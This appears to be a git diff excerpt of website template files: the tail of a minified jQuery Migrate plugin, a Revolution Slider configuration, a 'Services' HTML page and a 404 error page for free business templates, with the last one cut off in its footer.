|
||||
e.migrateWarnings && t.console.log("JQMIGRATE: Migrate plugin loaded multiple times"),
|
||||
t.console.log("JQMIGRATE: Migrate is installed" + (e.migrateMute ? "" : " with logging active") + ", version " + e.migrateVersion));
|
||||
}();
|
||||
var o = {};
|
||||
e.migrateWarnings = [], void 0 === e.migrateTrace && (e.migrateTrace = !0), e.migrateReset = function() {
|
||||
o = {}, e.migrateWarnings.length = 0;
|
||||
}, "BackCompat" === t.document.compatMode && r("jQuery is not compatible with Quirks Mode");
|
||||
var i = e.fn.init, s = e.isNumeric, u = e.find, c = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/, l = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/g;
|
||||
e.fn.init = function(e) {
|
||||
var t = Array.prototype.slice.call(arguments);
|
||||
return "string" == typeof e && "#" === e && (r("jQuery( '#' ) is not a valid selector"),
|
||||
t[0] = []), i.apply(this, t);
|
||||
}, e.fn.init.prototype = e.fn, e.find = function(e) {
|
||||
var n = Array.prototype.slice.call(arguments);
|
||||
if ("string" == typeof e && c.test(e)) try {
|
||||
t.document.querySelector(e);
|
||||
} catch (a) {
|
||||
e = e.replace(l, function(e, t, r, n) {
|
||||
return "[" + t + r + '"' + n + '"]';
|
||||
});
|
||||
try {
|
||||
t.document.querySelector(e), r("Attribute selector with '#' must be quoted: " + n[0]),
|
||||
n[0] = e;
|
||||
} catch (e) {
|
||||
r("Attribute selector with '#' was not fixed: " + n[0]);
|
||||
}
|
||||
}
|
||||
return u.apply(this, n);
|
||||
};
|
||||
var d;
|
||||
for (d in u) Object.prototype.hasOwnProperty.call(u, d) && (e.find[d] = u[d]);
|
||||
e.fn.size = function() {
|
||||
return r("jQuery.fn.size() is deprecated and removed; use the .length property"),
|
||||
this.length;
|
||||
}, e.parseJSON = function() {
|
||||
return r("jQuery.parseJSON is deprecated; use JSON.parse"), JSON.parse.apply(null, arguments);
|
||||
}, e.isNumeric = function(t) {
|
||||
var n = s(t), a = function(t) {
|
||||
var r = t && t.toString();
|
||||
return !e.isArray(t) && r - parseFloat(r) + 1 >= 0;
|
||||
}(t);
|
||||
return n !== a && r("jQuery.isNumeric() should not be called on constructed objects"),
|
||||
a;
|
||||
}, a(e, "holdReady", e.holdReady, "jQuery.holdReady is deprecated"), a(e, "unique", e.uniqueSort, "jQuery.unique is deprecated; use jQuery.uniqueSort"),
|
||||
n(e.expr, "filters", e.expr.pseudos, "jQuery.expr.filters is deprecated; use jQuery.expr.pseudos"),
|
||||
n(e.expr, ":", e.expr.pseudos, "jQuery.expr[':'] is deprecated; use jQuery.expr.pseudos");
|
||||
var p = e.ajax;
|
||||
e.ajax = function() {
|
||||
var e = p.apply(this, arguments);
|
||||
return e.promise && (a(e, "success", e.done, "jQXHR.success is deprecated and removed"),
|
||||
a(e, "error", e.fail, "jQXHR.error is deprecated and removed"), a(e, "complete", e.always, "jQXHR.complete is deprecated and removed")),
|
||||
e;
|
||||
};
|
||||
var f = e.fn.removeAttr, y = e.fn.toggleClass, m = /\S+/g;
|
||||
e.fn.removeAttr = function(t) {
|
||||
var n = this;
|
||||
return e.each(t.match(m), function(t, a) {
|
||||
e.expr.match.bool.test(a) && (r("jQuery.fn.removeAttr no longer sets boolean properties: " + a),
|
||||
n.prop(a, !1));
|
||||
}), f.apply(this, arguments);
|
||||
}, e.fn.toggleClass = function(t) {
|
||||
return void 0 !== t && "boolean" != typeof t ? y.apply(this, arguments) : (r("jQuery.fn.toggleClass( boolean ) is deprecated"),
|
||||
this.each(function() {
|
||||
var r = this.getAttribute && this.getAttribute("class") || "";
|
||||
r && e.data(this, "__className__", r), this.setAttribute && this.setAttribute("class", r || !1 === t ? "" : e.data(this, "__className__") || "");
|
||||
}));
|
||||
};
|
||||
var h = !1;
|
||||
e.swap && e.each([ "height", "width", "reliableMarginRight" ], function(t, r) {
|
||||
var n = e.cssHooks[r] && e.cssHooks[r].get;
|
||||
n && (e.cssHooks[r].get = function() {
|
||||
var e;
|
||||
return h = !0, e = n.apply(this, arguments), h = !1, e;
|
||||
});
|
||||
}), e.swap = function(e, t, n, a) {
|
||||
var o, i, s = {};
|
||||
h || r("jQuery.swap() is undocumented and deprecated");
|
||||
for (i in t) s[i] = e.style[i], e.style[i] = t[i];
|
||||
o = n.apply(e, a || []);
|
||||
for (i in t) e.style[i] = s[i];
|
||||
return o;
|
||||
};
|
||||
var g = e.data;
|
||||
e.data = function(t, n, a) {
|
||||
var o;
|
||||
if (n && "object" == typeof n && 2 === arguments.length) {
|
||||
o = e.hasData(t) && g.call(this, t);
|
||||
var i = {};
|
||||
for (var s in n) s !== e.camelCase(s) ? (r("jQuery.data() always sets/gets camelCased names: " + s),
|
||||
o[s] = n[s]) : i[s] = n[s];
|
||||
return g.call(this, t, i), n;
|
||||
}
|
||||
return n && "string" == typeof n && n !== e.camelCase(n) && (o = e.hasData(t) && g.call(this, t)) && n in o ? (r("jQuery.data() always sets/gets camelCased names: " + n),
|
||||
arguments.length > 2 && (o[n] = a), o[n]) : g.apply(this, arguments);
|
||||
};
|
||||
var v = e.Tween.prototype.run, j = function(e) {
|
||||
return e;
|
||||
};
|
||||
e.Tween.prototype.run = function() {
|
||||
e.easing[this.easing].length > 1 && (r("'jQuery.easing." + this.easing.toString() + "' should use only one argument"),
|
||||
e.easing[this.easing] = j), v.apply(this, arguments);
|
||||
}, e.fx.interval = e.fx.interval || 13, t.requestAnimationFrame && n(e.fx, "interval", e.fx.interval, "jQuery.fx.interval is deprecated");
|
||||
var Q = e.fn.load, b = e.event.add, w = e.event.fix;
|
||||
e.event.props = [], e.event.fixHooks = {}, n(e.event.props, "concat", e.event.props.concat, "jQuery.event.props.concat() is deprecated and removed"),
|
||||
e.event.fix = function(t) {
|
||||
var n, a = t.type, o = this.fixHooks[a], i = e.event.props;
|
||||
if (i.length) for (r("jQuery.event.props are deprecated and removed: " + i.join()); i.length; ) e.event.addProp(i.pop());
|
||||
if (o && !o._migrated_ && (o._migrated_ = !0, r("jQuery.event.fixHooks are deprecated and removed: " + a),
|
||||
(i = o.props) && i.length)) for (;i.length; ) e.event.addProp(i.pop());
|
||||
return n = w.call(this, t), o && o.filter ? o.filter(n, t) : n;
|
||||
}, e.event.add = function(e, n) {
|
||||
return e === t && "load" === n && "complete" === t.document.readyState && r("jQuery(window).on('load'...) called after load event occurred"),
|
||||
b.apply(this, arguments);
|
||||
}, e.each([ "load", "unload", "error" ], function(t, n) {
|
||||
e.fn[n] = function() {
|
||||
var e = Array.prototype.slice.call(arguments, 0);
|
||||
return "load" === n && "string" == typeof e[0] ? Q.apply(this, e) : (r("jQuery.fn." + n + "() is deprecated"),
|
||||
e.splice(0, 0, n), arguments.length ? this.on.apply(this, e) : (this.triggerHandler.apply(this, e),
|
||||
this));
|
||||
};
|
||||
}), e.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "), function(t, n) {
|
||||
e.fn[n] = function(e, t) {
|
||||
return r("jQuery.fn." + n + "() event shorthand is deprecated"), arguments.length > 0 ? this.on(n, null, e, t) : this.trigger(n);
|
||||
};
|
||||
}), e(function() {
|
||||
e(t.document).triggerHandler("ready");
|
||||
}), e.event.special.ready = {
|
||||
setup: function() {
|
||||
this === t.document && r("'ready' event is deprecated");
|
||||
}
|
||||
}, e.fn.extend({
|
||||
bind: function(e, t, n) {
|
||||
return r("jQuery.fn.bind() is deprecated"), this.on(e, null, t, n);
|
||||
},
|
||||
unbind: function(e, t) {
|
||||
return r("jQuery.fn.unbind() is deprecated"), this.off(e, null, t);
|
||||
},
|
||||
delegate: function(e, t, n, a) {
|
||||
return r("jQuery.fn.delegate() is deprecated"), this.on(t, e, n, a);
|
||||
},
|
||||
undelegate: function(e, t, n) {
|
||||
return r("jQuery.fn.undelegate() is deprecated"), 1 === arguments.length ? this.off(e, "**") : this.off(t, e || "**", n);
|
||||
},
|
||||
hover: function(e, t) {
|
||||
return r("jQuery.fn.hover() is deprecated"), this.on("mouseenter", e).on("mouseleave", t || e);
|
||||
}
|
||||
});
|
||||
var x = e.fn.offset;
|
||||
e.fn.offset = function() {
|
||||
var n, a = this[0], o = {
|
||||
top: 0,
|
||||
left: 0
|
||||
};
|
||||
return a && a.nodeType ? (n = (a.ownerDocument || t.document).documentElement, e.contains(n, a) ? x.apply(this, arguments) : (r("jQuery.fn.offset() requires an element connected to a document"),
|
||||
o)) : (r("jQuery.fn.offset() requires a valid DOM element"), o);
|
||||
};
|
||||
var k = e.param;
|
||||
e.param = function(t, n) {
|
||||
var a = e.ajaxSettings && e.ajaxSettings.traditional;
|
||||
return void 0 === n && a && (r("jQuery.param() no longer uses jQuery.ajaxSettings.traditional"),
|
||||
n = a), k.call(this, t, n);
|
||||
};
|
||||
var A = e.fn.andSelf || e.fn.addBack;
|
||||
e.fn.andSelf = function() {
|
||||
return r("jQuery.fn.andSelf() is deprecated and removed, use jQuery.fn.addBack()"),
|
||||
A.apply(this, arguments);
|
||||
};
|
||||
var S = e.Deferred, q = [ [ "resolve", "done", e.Callbacks("once memory"), e.Callbacks("once memory"), "resolved" ], [ "reject", "fail", e.Callbacks("once memory"), e.Callbacks("once memory"), "rejected" ], [ "notify", "progress", e.Callbacks("memory"), e.Callbacks("memory") ] ];
|
||||
return e.Deferred = function(t) {
|
||||
var n = S(), a = n.promise();
|
||||
return n.pipe = a.pipe = function() {
|
||||
var t = arguments;
|
||||
return r("deferred.pipe() is deprecated"), e.Deferred(function(r) {
|
||||
e.each(q, function(o, i) {
|
||||
var s = e.isFunction(t[o]) && t[o];
|
||||
n[i[1]](function() {
|
||||
var t = s && s.apply(this, arguments);
|
||||
t && e.isFunction(t.promise) ? t.promise().done(r.resolve).fail(r.reject).progress(r.notify) : r[i[0] + "With"](this === a ? r.promise() : this, s ? [ t ] : arguments);
|
||||
});
|
||||
}), t = null;
|
||||
}).promise();
|
||||
}, t && t.call(n, n), n;
|
||||
}, e.Deferred.exceptionHook = S.exceptionHook, e;
|
||||
});
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
+1601
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -0,0 +1,105 @@
|
||||
/*---------------------------------------------------------------------
|
||||
File Name: slider-setting.js
|
||||
---------------------------------------------------------------------*/
|
||||
|
||||
"use strict";
|
||||
var tpj = jQuery;
|
||||
|
||||
var revapi486;
|
||||
tpj(document).ready(function () {
|
||||
if (tpj("#rev_slider_486_1").revolution == undefined) {
|
||||
revslider_showDoubleJqueryError("#rev_slider_486_1");
|
||||
} else {
|
||||
revapi486 = tpj("#rev_slider_486_1").show().revolution({
|
||||
sliderType: "standard",
|
||||
jsFileLocation: "revolution/js/",
|
||||
sliderLayout: "fullscreen",
|
||||
dottedOverlay: "none",
|
||||
delay: 5000,
|
||||
navigation: {
|
||||
keyboardNavigation: "on",
|
||||
keyboard_direction: "horizontal",
|
||||
mouseScrollNavigation: "off",
|
||||
mouseScrollReverse: "default",
|
||||
onHoverStop: "on",
|
||||
touch: {
|
||||
touchenabled: "on",
|
||||
swipe_threshold: 75,
|
||||
swipe_min_touches: 1,
|
||||
swipe_direction: "horizontal",
|
||||
drag_block_vertical: false
|
||||
},
|
||||
arrows: {
|
||||
style: "gyges",
|
||||
enable: true,
|
||||
hide_onmobile: false,
|
||||
hide_onleave: true,
|
||||
hide_delay: 200,
|
||||
hide_delay_mobile: 1200,
|
||||
tmp: '',
|
||||
left: {
|
||||
h_align: "left",
|
||||
v_align: "center",
|
||||
h_offset: 0,
|
||||
v_offset: 0
|
||||
},
|
||||
right: {
|
||||
h_align: "right",
|
||||
v_align: "center",
|
||||
h_offset: 0,
|
||||
v_offset: 0
|
||||
}
|
||||
},
|
||||
bullets: {
|
||||
enable: true,
|
||||
hide_onmobile: true,
|
||||
hide_under: 800,
|
||||
style: "hebe",
|
||||
hide_onleave: false,
|
||||
direction: "horizontal",
|
||||
h_align: "center",
|
||||
v_align: "bottom",
|
||||
h_offset: 0,
|
||||
v_offset: 30,
|
||||
space: 5,
|
||||
tmp: '<span class="tp-bullet-image"></span><span class="tp-bullet-imageoverlay"></span><span class="tp-bullet-title"></span>'
|
||||
}
|
||||
},
|
||||
viewPort: {
|
||||
enable: true,
|
||||
outof: "pause",
|
||||
visible_area: "70%",
|
||||
presize: false
|
||||
},
|
||||
responsiveLevels: [1240, 1024, 778, 480],
|
||||
visibilityLevels: [1240, 1024, 778, 480],
|
||||
gridwidth: [1240, 1024, 778, 480],
|
||||
gridheight: [500, 450, 400, 350],
|
||||
lazyType: "none",
|
||||
parallax: {
|
||||
type: "scroll",
|
||||
origo: "enterpoint",
|
||||
speed: 400,
|
||||
levels: [5, 10, 15, 20, 25, 30, 35, 40, 45, 50, 46, 47, 48, 49, 50, 55],
|
||||
type: "scroll",
|
||||
},
|
||||
shadow: 0,
|
||||
spinner: "off",
|
||||
stopLoop: "off",
|
||||
stopAfterLoops: -1,
|
||||
stopAtSlide: -1,
|
||||
shuffle: "off",
|
||||
autoHeight: "off",
|
||||
hideThumbsOnMobile: "off",
|
||||
hideSliderAtLimit: 0,
|
||||
hideCaptionAtLimit: 0,
|
||||
hideAllCaptionAtLilmit: 0,
|
||||
debugMode: false,
|
||||
fallbacks: {
|
||||
simplifyAll: "off",
|
||||
nextSlideOnWindowFocus: "off",
|
||||
disableFocusListener: false,
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
@@ -0,0 +1,156 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<!-- basic -->
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<!-- mobile metas -->
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<meta name="viewport" content="initial-scale=1, maximum-scale=1">
|
||||
<!-- site metas -->
|
||||
<title>Services</title>
|
||||
<meta name="keywords" content="">
|
||||
<meta name="description" content="">
|
||||
<meta name="author" content="">
|
||||
<!-- bootstrap css -->
|
||||
<link rel="stylesheet" type="text/css" href="css/bootstrap.min.css">
|
||||
<!-- style css -->
|
||||
<link rel="stylesheet" type="text/css" href="css/style.css">
|
||||
<!-- Responsive-->
|
||||
<link rel="stylesheet" href="css/responsive.css">
|
||||
<!-- fevicon -->
|
||||
<link rel="icon" href="images/fevicon.png" type="image/gif" />
|
||||
<!-- Scrollbar Custom CSS -->
|
||||
<link rel="stylesheet" href="css/jquery.mCustomScrollbar.min.css">
|
||||
<!-- Tweaks for older IEs-->
|
||||
<link rel="stylesheet" href="https://netdna.bootstrapcdn.com/font-awesome/4.0.3/css/font-awesome.css">
|
||||
<!-- fonts -->
|
||||
<link href="https://fonts.googleapis.com/css?family=Poppins:400,700|Righteous&display=swap" rel="stylesheet">
|
||||
<!-- owl stylesheets -->
|
||||
<link rel="stylesheet" href="css/owl.carousel.min.css">
|
||||
<link rel="stylesheet" href="css/owl.theme.default.min.css">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/fancybox/2.1.5/jquery.fancybox.min.css"
|
||||
media="screen">
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<!-- header section start -->
|
||||
<div class="header_section">
|
||||
<div class="header_main">
|
||||
<div class="mobile_menu">
|
||||
<nav class="navbar navbar-expand-lg navbar-light bg-light">
|
||||
<div class="logo_mobile"><a href="index.html"><img src="images/logo.png"></a></div>
|
||||
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav"
|
||||
aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation">
|
||||
<span class="navbar-toggler-icon"></span>
|
||||
</button>
|
||||
<div class="collapse navbar-collapse" id="navbarNav">
|
||||
<ul class="navbar-nav">
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="index.html">Home</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="about.html">About</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="services.html">Services</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link " href="blog.html">Blog</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link " href="contact.html">Contact</a>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
</nav>
|
||||
</div>
|
||||
<div class="container-fluid">
|
||||
<div class="logo"><a href="index.html"><img src="images/logo.png"></a></div>
|
||||
<div class="menu_main">
|
||||
<ul>
|
||||
<li class="active"><a href="index.html">Home</a></li>
|
||||
<li><a href="about.html">About</a></li>
|
||||
<li><a href="services.html">Services</a></li>
|
||||
<li><a href="blog.html">Blog</a></li>
|
||||
<li><a href="contact.html">Contact us</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- header section end -->
|
||||
<!-- services section start -->
|
||||
<div class="services_section layout_padding">
|
||||
<div class="container">
|
||||
<h1 class="services_taital">Services </h1>
|
||||
<p class="services_text">There are many variations of passages of Lorem Ipsum available, but the majority have
|
||||
suffered alteration</p>
|
||||
<div class="services_section_2">
|
||||
<div class="row">
|
||||
<div class="col-md-4">
|
||||
<div><img src="images/img-1.png" class="services_img"></div>
|
||||
<div class="btn_main"><a href="#">Rafting</a></div>
|
||||
</div>
|
||||
<div class="col-md-4">
|
||||
<div><img src="images/img-2.png" class="services_img"></div>
|
||||
<div class="btn_main active"><a href="#">Hiking</a></div>
|
||||
</div>
|
||||
<div class="col-md-4">
|
||||
<div><img src="images/img-3.png" class="services_img"></div>
|
||||
<div class="btn_main"><a href="#">Camping</a></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- services section end -->
|
||||
<!-- footer section start -->
|
||||
<div class="footer_section layout_padding">
|
||||
<div class="container">
|
||||
<div class="input_btn_main">
|
||||
<input type="text" class="mail_text" placeholder="Enter your email" name="Enter your email">
|
||||
<div class="subscribe_bt"><a href="#">Subscribe</a></div>
|
||||
</div>
|
||||
<div class="location_main">
|
||||
<div class="call_text"><img src="images/call-icon.png"></div>
|
||||
<div class="call_text"><a href="#">Call +01 1234567890</a></div>
|
||||
<div class="call_text"><img src="images/mail-icon.png"></div>
|
||||
<div class="call_text"><a href="#">demo@gmail.com</a></div>
|
||||
</div>
|
||||
<div class="social_icon">
|
||||
<ul>
|
||||
<li><a href="#"><img src="images/fb-icon.png"></a></li>
|
||||
<li><a href="#"><img src="images/twitter-icon.png"></a></li>
|
||||
<li><a href="#"><img src="images/linkedin-icon.png"></a></li>
|
||||
<li><a href="#"><img src="images/instagram-icon.png"></a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- footer section end -->
|
||||
<!-- copyright section start -->
|
||||
<div class="copyright_section">
|
||||
<div class="container">
|
||||
<p class="copyright_text">2020 All Rights Reserved. Design by <a href="https://html.design">Free html
|
||||
Templates</a> Distributed by <a href="https://themewagon.com">ThemeWagon</a></p>
|
||||
</div>
|
||||
</div>
|
||||
<!-- copyright section end -->
|
||||
<!-- Javascript files-->
|
||||
<script src="js/jquery.min.js"></script>
|
||||
<script src="js/popper.min.js"></script>
|
||||
<script src="js/bootstrap.bundle.min.js"></script>
|
||||
<script src="js/jquery-3.0.0.min.js"></script>
|
||||
<script src="js/plugin.js"></script>
|
||||
<!-- sidebar -->
|
||||
<script src="js/jquery.mCustomScrollbar.concat.min.js"></script>
|
||||
<script src="js/custom.js"></script>
|
||||
<!-- javascript -->
|
||||
<script src="js/owl.carousel.js"></script>
|
||||
<script src="https:cdnjs.cloudflare.com/ajax/libs/fancybox/2.1.5/jquery.fancybox.min.js"></script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,278 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<title>Apex - Home Repair Website Template</title>
|
||||
<meta content="width=device-width, initial-scale=1.0" name="viewport" />
|
||||
<meta content="" name="keywords" />
|
||||
<meta content="" name="description" />
|
||||
|
||||
<!-- Favicon -->
|
||||
<link href="img/favicon.ico" rel="icon" />
|
||||
|
||||
<!-- Google Web Fonts -->
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com" />
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css2?family=Roboto:wght@400;500&family=Poppins:wght@600;700&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
|
||||
<!-- Icon Font Stylesheet -->
|
||||
<link
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.0/css/all.min.css"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link
|
||||
href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.4.1/font/bootstrap-icons.css"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
|
||||
<!-- Libraries Stylesheet -->
|
||||
<link href="lib/animate/animate.min.css" rel="stylesheet" />
|
||||
<link href="lib/owlcarousel/assets/owl.carousel.min.css" rel="stylesheet" />
|
||||
|
||||
<!-- Customized Bootstrap Stylesheet -->
|
||||
<link href="css/bootstrap.min.css" rel="stylesheet" />
|
||||
|
||||
<!-- Template Stylesheet -->
|
||||
<link href="css/style.css" rel="stylesheet" />
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<!-- Spinner Start -->
|
||||
<div
|
||||
id="spinner"
|
||||
class="show bg-white position-fixed translate-middle w-100 vh-100 top-50 start-50 d-flex align-items-center justify-content-center"
|
||||
>
|
||||
<div class="spinner-grow text-primary" role="status"></div>
|
||||
</div>
|
||||
<!-- Spinner End -->
|
||||
|
||||
<!-- Topbar Start -->
|
||||
<div class="container-fluid bg-light p-0">
|
||||
<div class="row gx-0 d-none d-lg-flex">
|
||||
<div class="col-lg-7 px-5 text-start">
|
||||
<div
|
||||
class="h-100 d-inline-flex align-items-center border-start border-end px-3"
|
||||
>
|
||||
<small class="fa fa-phone-alt me-2"></small>
|
||||
<small>+012 345 6789</small>
|
||||
</div>
|
||||
<div class="h-100 d-inline-flex align-items-center border-end px-3">
|
||||
<small class="far fa-envelope-open me-2"></small>
|
||||
<small>info@example.com</small>
|
||||
</div>
|
||||
<div class="h-100 d-inline-flex align-items-center border-end px-3">
|
||||
<small class="far fa-clock me-2"></small>
|
||||
<small>Mon - Fri : 09 AM - 09 PM</small>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-lg-5 px-5 text-end">
|
||||
<div class="h-100 d-inline-flex align-items-center">
|
||||
<a class="btn btn-square border-end border-start" href=""
|
||||
><i class="fab fa-facebook-f"></i
|
||||
></a>
|
||||
<a class="btn btn-square border-end" href=""
|
||||
><i class="fab fa-twitter"></i
|
||||
></a>
|
||||
<a class="btn btn-square border-end" href=""
|
||||
><i class="fab fa-linkedin-in"></i
|
||||
></a>
|
||||
<a class="btn btn-square border-end" href=""
|
||||
><i class="fab fa-instagram"></i
|
||||
></a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- Topbar End -->
|
||||
|
||||
<!-- Navbar Start -->
|
||||
<nav
|
||||
class="navbar navbar-expand-lg bg-white navbar-light sticky-top px-4 px-lg-5 py-lg-0"
|
||||
>
|
||||
<a href="index.html" class="navbar-brand d-flex align-items-center">
|
||||
<h1 class="m-0">
|
||||
<i class="fa fa-building text-primary me-3"></i>APEX
|
||||
</h1>
|
||||
</a>
|
||||
<button
|
||||
type="button"
|
||||
class="navbar-toggler"
|
||||
data-bs-toggle="collapse"
|
||||
data-bs-target="#navbarCollapse"
|
||||
>
|
||||
<span class="navbar-toggler-icon"></span>
|
||||
</button>
|
||||
<div class="collapse navbar-collapse" id="navbarCollapse">
|
||||
<div class="navbar-nav ms-auto py-3 py-lg-0">
|
||||
<a href="index.html" class="nav-item nav-link">Home</a>
|
||||
<a href="about.html" class="nav-item nav-link">About Us</a>
|
||||
<a href="service.html" class="nav-item nav-link">Our Services</a>
|
||||
<div class="nav-item dropdown">
|
||||
<a
|
||||
href="#"
|
||||
class="nav-link dropdown-toggle active"
|
||||
data-bs-toggle="dropdown"
|
||||
>Pages</a
|
||||
>
|
||||
<div class="dropdown-menu bg-light m-0">
|
||||
<a href="feature.html" class="dropdown-item">Features</a>
|
||||
<a href="appointment.html" class="dropdown-item">Appointment</a>
|
||||
<a href="team.html" class="dropdown-item">Our Team</a>
|
||||
<a href="testimonial.html" class="dropdown-item">Testimonial</a>
|
||||
<a href="404.html" class="dropdown-item active">404 Page</a>
|
||||
</div>
|
||||
</div>
|
||||
<a href="contact.html" class="nav-item nav-link">Contact Us</a>
|
||||
</div>
|
||||
</div>
|
||||
</nav>
|
||||
<!-- Navbar End -->
|
||||
|
||||
<!-- Page Header Start -->
|
||||
<div
|
||||
class="container-fluid page-header py-5 mb-5 wow fadeIn"
|
||||
data-wow-delay="0.1s"
|
||||
>
|
||||
<div class="container text-center py-5">
|
||||
<h1 class="display-4 text-white animated slideInDown mb-4">
|
||||
404 Error
|
||||
</h1>
|
||||
<nav aria-label="breadcrumb animated slideInDown">
|
||||
<ol class="breadcrumb justify-content-center mb-0">
|
||||
<li class="breadcrumb-item">
|
||||
<a class="text-white" href="#">Home</a>
|
||||
</li>
|
||||
<li class="breadcrumb-item">
|
||||
<a class="text-white" href="#">Pages</a>
|
||||
</li>
|
||||
<li class="breadcrumb-item text-primary active" aria-current="page">
|
||||
404 Error
|
||||
</li>
|
||||
</ol>
|
||||
</nav>
|
||||
</div>
|
||||
</div>
|
||||
<!-- Page Header End -->
|
||||
|
||||
<!-- 404 Start -->
|
||||
<div class="container-xxl py-5 wow fadeInUp" data-wow-delay="0.1s">
|
||||
<div class="container text-center">
|
||||
<div class="row justify-content-center">
|
||||
<div class="col-lg-6">
|
||||
<i class="bi bi-exclamation-triangle display-1 text-primary"></i>
|
||||
<h1 class="display-1">404</h1>
|
||||
<h1 class="mb-4">Page Not Found</h1>
|
||||
<p class="mb-4">
|
||||
We’re sorry, the page you have looked for does not exist in our
|
||||
website! Maybe go to our home page or try to use a search?
|
||||
</p>
|
||||
<a class="btn btn-primary py-3 px-5" href="">Go Back To Home</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- 404 End -->
|
||||
|
||||
<!-- Footer Start -->
|
||||
<div
|
||||
class="container-fluid bg-dark footer mt-5 pt-5 wow fadeIn"
|
||||
data-wow-delay="0.1s"
|
||||
>
|
||||
<div class="container py-5">
|
||||
<div class="row g-5">
|
||||
<div class="col-lg-3 col-md-6">
|
||||
<h1 class="text-white mb-4">
|
||||
<i class="fa fa-building text-primary me-3"></i>APEX
|
||||
</h1>
|
||||
<p>
|
||||
Diam dolor diam ipsum sit. Aliqu diam amet diam et eos. Clita erat
|
||||
ipsum et lorem et sit, sed stet lorem sit clita
|
||||
</p>
|
||||
<div class="d-flex pt-2">
|
||||
<a class="btn btn-square btn-outline-primary me-1" href=""
|
||||
><i class="fab fa-twitter"></i
|
||||
></a>
|
||||
<a class="btn btn-square btn-outline-primary me-1" href=""
|
||||
><i class="fab fa-facebook-f"></i
|
||||
></a>
|
||||
<a class="btn btn-square btn-outline-primary me-1" href=""
|
||||
><i class="fab fa-youtube"></i
|
||||
></a>
|
||||
<a class="btn btn-square btn-outline-primary me-0" href=""
|
||||
><i class="fab fa-linkedin-in"></i
|
||||
></a>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-lg-3 col-md-6">
|
||||
<h4 class="text-light mb-4">Address</h4>
|
||||
<p>
|
||||
<i class="fa fa-map-marker-alt me-3"></i>123 Street, New York, USA
|
||||
</p>
|
||||
<p><i class="fa fa-phone-alt me-3"></i>+012 345 67890</p>
|
||||
<p><i class="fa fa-envelope me-3"></i>info@example.com</p>
|
||||
</div>
|
||||
<div class="col-lg-3 col-md-6">
|
||||
<h4 class="text-light mb-4">Quick Links</h4>
|
||||
<a class="btn btn-link" href="">About Us</a>
|
||||
<a class="btn btn-link" href="">Contact Us</a>
|
||||
<a class="btn btn-link" href="">Our Services</a>
|
||||
<a class="btn btn-link" href="">Terms & Condition</a>
|
||||
<a class="btn btn-link" href="">Support</a>
|
||||
</div>
|
||||
<div class="col-lg-3 col-md-6">
|
||||
<h4 class="text-light mb-4">Newsletter</h4>
|
||||
<p>Dolor amet sit justo amet elitr clita ipsum elitr est.</p>
|
||||
<div class="position-relative mx-auto" style="max-width: 400px">
|
||||
<input
|
||||
class="form-control bg-transparent w-100 py-3 ps-4 pe-5"
|
||||
type="text"
|
||||
placeholder="Your email"
|
||||
/>
|
||||
<button
|
||||
type="button"
|
||||
class="btn btn-primary py-2 position-absolute top-0 end-0 mt-2 me-2"
|
||||
>
|
||||
SignUp
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="container-fluid copyright">
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-md-6 text-center text-md-start mb-3 mb-md-0">
|
||||
© <a href="#">Your Site Name</a>, All Right Reserved.
|
||||
</div>
|
||||
<div class="col-md-6 text-center text-md-end">
|
||||
<!--/*** This template is free as long as you keep the footer author’s credit link/attribution link/backlink. If you'd like to use the template without the footer author’s credit link/attribution link/backlink, you can purchase the Credit Removal License from "https://htmlcodex.com/credit-removal". Thank you for your support. ***/-->
|
||||
